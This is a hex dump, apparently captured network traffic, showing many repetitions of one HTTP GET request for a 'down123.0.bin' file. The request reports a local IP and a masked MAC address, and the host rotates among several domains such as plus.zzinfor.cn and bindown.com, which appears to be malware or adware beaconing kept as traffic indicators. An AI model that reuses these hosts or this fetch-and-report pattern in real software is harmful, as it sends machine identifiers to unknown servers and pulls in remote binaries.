0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
